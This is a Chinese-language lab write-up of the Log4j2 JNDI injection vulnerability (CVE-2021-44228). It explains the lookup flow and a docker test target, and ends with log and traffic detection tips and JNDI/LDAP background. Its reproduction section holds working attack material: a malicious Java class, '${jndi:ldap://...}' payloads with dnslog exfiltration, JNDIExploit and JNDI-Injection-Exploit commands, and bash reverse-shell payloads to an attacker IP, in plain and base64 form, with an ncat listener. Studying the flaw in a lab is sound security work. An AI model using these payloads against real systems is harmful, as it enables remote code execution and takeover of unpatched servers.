漏洞文档
漏洞描述
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。如:Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
Apache Log4j2重写了Log4j框架,并引入了大量丰富的特性。可以控制日志信息输送的目的地为控制台、文件、GUI组件等。
漏洞编号
CVE-2021-44228
CNVD-2021-95914
漏洞等级
严重
影响范围
Apache Log4j 2.x < 2.15.0-rc2
漏洞摘要
由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特别构造的数据请求包,可在目标服务器上执行任意代码,攻击者可直接构造恶意请求,触发远程代码执行漏洞。
当程序将用户输入的数据被日志记录时,可触发此漏洞。利用此漏洞可以在目标服务器上执行任意代码。
漏洞分析
对于信息泄露,泄露的数据如何利用。思路如下:
- 获取(获取数据):利用
${}
和其他各种Lookup
- 带出(回显带出数据):利用
dnslog
或直接dns
协议
执行流程
- POC作为message传给
Logger
类的error
、fatal
等一些方法 - 略去一些非关键流程,会进入到
MessagePatternConverter
类format
方法对${
内容进行解析替换 - 进入到
interpolotor
类的lookup
方法,由前缀值jndi
获取到jndiLookup
类 - 最终调用对应的
lookup
方法发起请求
流程分析
MessagePatternConverter.format
会先判断输入的字符串中是否包含${
,存在的话会进入判断。该漏洞会将${}
中的内容当作表达式,从而进行远程加载。(将LDAP服务器上该地址中所记录的东西加载到本地,来进行字符串替换)
漏洞靶场
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
访问 http://127.0.0.1:8080/webstudy/ 就可以了, post的参数为c
漏洞复现
与fastjson的漏洞如出一辙,需要编写一个恶意类。
弹出计算器
public class Exploit { public Exploit(){ try{ // 要执行的命令 String[] commands = {"open", "/System/Applications/Calculator.app"}; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { Exploit e = new Exploit(); } }
构造payload
构造payload,post提交
c=${jndi:ldap://log4j2.ua7wyw.dnslog.cn}
dnslog查看
查看java版本
c=${jndi:ldap://${java:version}.t0k805.dnslog.cn}
利用
${
来查询java版本
执行命令
在本地先要生成JNDI链接并启动后端相关服务,注意防火墙开启相关端口,用的是https://github.com/WhiteHSBG/JNDIExploit/releases/download/v1.4/JNDIExploit.v1.4.zip
java -jar /Users/gryffinbit/Documents/Tools/JNDIExploit1.4/JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.0.89
一些坑:
刚开始运行jar的时候,状态是显示两个端口的监听,默认开启LDAP和http的端口。当后面POST请求的时候,成功利用了JNDI注入,会显示注入成功的一些提示信息
虽然是在本地启动的ldap服务,但是-i的ip不能写成127.0.0.1,要查询本地的ip,才可以
java -jar /Users/gryffinbit/Documents/Tools/JNDIExploit1.4/JNDIExploit-1.4-SNAPSHOT.jar -u
查看支持的 LDAP 格式。针对不同的网页框架和需求选择。下面的例子,在post请求里构造cmd,利用JNDI成功注入,来获得回显,采用的LDAP是
ldap://0.0.0.0:1389/Basic/TomcatEcho
构造payload
网页处于
http://127.0.0.1:8080/webstudy/
代理开启burpsuite,开启抓包,点击hitme,将该数据包抓获成功抓获数据包
将刚刚抓获的数据包,重放
修改数据包,将get改为POST,构造payload,成功执行命令
cmd:whoami Content-Type: application/x-www-form-urlencoded c=${jndi:ldap://192.168.0.89:1389/TomcatBypass/TomcatEcho}
成功回显
反弹 Shell
构造payload
cmd: bash -i >& /dev/tcp/10.211.55.2/5555 0>&1 Content-Type: application/x-www-form-urlencoded c=${jndi:ldap://10.211.55.2:1389/Basic/TomcatEcho}
服务器端开启监听
ncat -lvnp 5555
在macOS上是ncat命令
在Linux上是nc命令
netcat有很多版本,不同操作系统下面的细节用法也不同,可以参考这篇文章:https://www.sqlsec.com/2019/10/nc.html#%E6%8C%81%E4%B9%85%E7%9B%91%E5%90%AC
可能攻击失败,这时候需要对payload进行编码
工具
使用 JNDI-Injection-Exploit 。
编码
对cmd base64编码(放进payload里的)
bash -i >& /dev/tcp/192.168.0.89/7777 0>&1 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuODkvNzc3NyAwPiYx
目标机,主动对攻击机发起连接。攻击机收到目标机shell
payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuODkvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.0.89"
-A 攻击机的IP
攻击机启动监听,获取shell
ncat -lvnp 7777
burpsuite 重放,改成POST,参数注入选择JNDI-INJECT生成的payload
Content-Type: application/x-www-form-urlencoded c=${jndi:ldap://192.168.0.89:1389/yltjam}
攻击排查
日志排查
攻击者在利用前通常采用dnslog方式进行扫描、探测,对于常见利用方式可通过应用系统报错日志中的关键字进行排查
javax.naming.CommunicationException
javax.naming.NamingException: problem generating object using object factory
Error looking up JNDI resource
流量排查
排查日志或者解码后完整的请求数据包中是否存在
${jndi:
关键字。排查日志是否存在相关堆栈报错,堆栈里是否有
JndiLookup
、ldapURLContext
、getObjectFactoryFromReference
等与 jndi 调用相关的堆栈信息。
JNDI是什么
是什么
JNDI是 Java 命名与目录接口(Java Naming and Directory Interface)
来源
程序员开发的时候,需要开发能够访问mysql数据库的应用,于是将一个对mysql JDBC驱动程序类的引用进行了编码,并通过使用适当的JDBC URL连接到数据库
Connection conn=null;
try {
Class.forName("com.mysql.jdbc.Driver", true, Thread.currentThread().getContextClassLoader());
conn=DriverManager.getConnection("jdbc:mysql://MyDBServer?user=qingfeng&password=mingyue");
/* 使用conn并进行SQL操作 */
......
conn.close();
}catch(Exception e) {
e.printStackTrace();
}
finally {
if(conn!=null) {
try {
conn.close();
}catch(SQLException e) {}
} <br>}
但由于数据库服务器名称、用户名、口令需要改变的时候,由此引发JDBC的URL也需要修改.
数据库可能不使用mysql了,引发JDBC驱动程序包和类名需要修改
随着开发的进行,原配置的连接池参数可能也需要调整。
jdbc:mysql://MyDBServer?user=qingfeng&password=mingyue"
解决方案
程序员开发的时候不需要关心具体的数据库后台是什么,JDBC驱动程序是什么,JDBC URL格式是什么,访问数据库的用户名和口令是什么。即程序员编写的程序应该没有对JDBC驱动程序的引用,甚至没有数据库池或连接管理。应该把这些问题交给J2EE容器来配置和管理。程序员只需要对这些配置和管理进行引用即可。于是就有了JNDI
JDNI是如何实际应用的
需要配置数据源,修改配置文件的内容,使之能通过JDBC正确访问到mysql数据库。配置文件定义了数据源,其参数包括JDBC的URL,驱动类名,用户密码等
1 <?xml version="1.0" encoding="UTF-8"?>
2 <datasources>
3 <local-tx-datasource>
4 <jndi-name>MySqlDS</jndi-name>
5 <connection-url>jdbc:mysql://localhost:3306/lw</connection-url>
6 <driver-class>com.mysql.jdbc.Driver</driver-class>
7 <user-name>root</user-name>
8 <password>rootpassword</password>
9 <exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name>
10 <metadata>
11 <type-mapping>mySQL</type-mapping>
12 </metadata>
13 </local-tx-datasource>
14 </datasources>
开发的时候,在程序中引用数据源。程序不需要关心JDBC具体参数。
在系统部署后,如果数据库的相关参数更改,只需要重新配置mysql-ds.xml,修改其中的JDBC参数,只要保证数据源的名称不变,那么程序源代码就无需修改。
JNDI避免了程序与数据库之间的紧耦合,使应用更加易于配置、易于部署
JNDI的扩展
所有与系统外部的资源的引用,都可以通过JNDI定义和引用。
LDAP 是什么
LDAP
- 轻量级目录访问协议。
- LDAP目录服务是由目录数据库和一套访问协议组成的系统
- 经过简单的配置就可以与服务器做认证交互
目录服务
- 特殊的数据库,保存描述性、基于属性的详细信息,支持过滤功能
- 动态的,灵活的,易扩展
- 目录是一个为查询、浏览和搜索而优化的数据库,成树状结构组织数据,类似文件目录。有很好的读性能,用来查询。
LDAP数据库服务器
访问某些服务器,想要获取里面的数据,需要用到LDAP协议
统一身份认证主要是改变原有的认证策略,使需要认证的软件都通过LDAP进行认证,在统一身份认证之后,用户的所有信息都存储在AD Server中。终端用户在需要使用公司内部服务的时候,都需要通过AD服务器的认证。
JNDIExploit
用于JNDI注入利用的工具。
JNDI注入
JNDI的应用场景:动态加载数据库配置文件,从而保持数据库代码不变动等,代码如下:
String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据
这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。
比如RMI:
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");
JNDI注入就是当上文代码中jndiName这个变量可控时,引发的漏洞。它将导致远程class文件加载,从而导致远程代码执行。即"rmi://127.0.0.1:1099/Exploit"
这个正常的数据查找,变成了加载某有害文件。
即 利用JNDI注入需要满足2个条件
- 需要服务端存在一下代码,使得URL可控
String uri = "rmi://127.0.0.1:1099/aa"; Context ctx = new InitialContext(); ctx.lookup(uri);
- 存在漏洞版本的java环境
JNDI注入原理
JNDI注入由于其加载动态类原理是
JNDI Reference
远程加载Object Factory
类的特性(使用的不是RMI Class Loading
,而是URL Class Loader
LDAP+JNDI 绕过更多版本限制,实现注入
LDAP
基于TCP/IP协议
服务端存储数据,客户端与服务端连接进行操作
树形存储
POC
代码会根据传入协议头的区别去进入对应的处理函数,只需要修改传入参数的解析头,再启动LDAP服务,恶意class的web服务即可
参考文章
https://mp.weixin.qq.com/s/W7kajN3GKKlK-C41N4re4g
https://www.freebuf.com/vuls/310414.html
https://www.cnblogs.com/study-everyday/p/6723313.html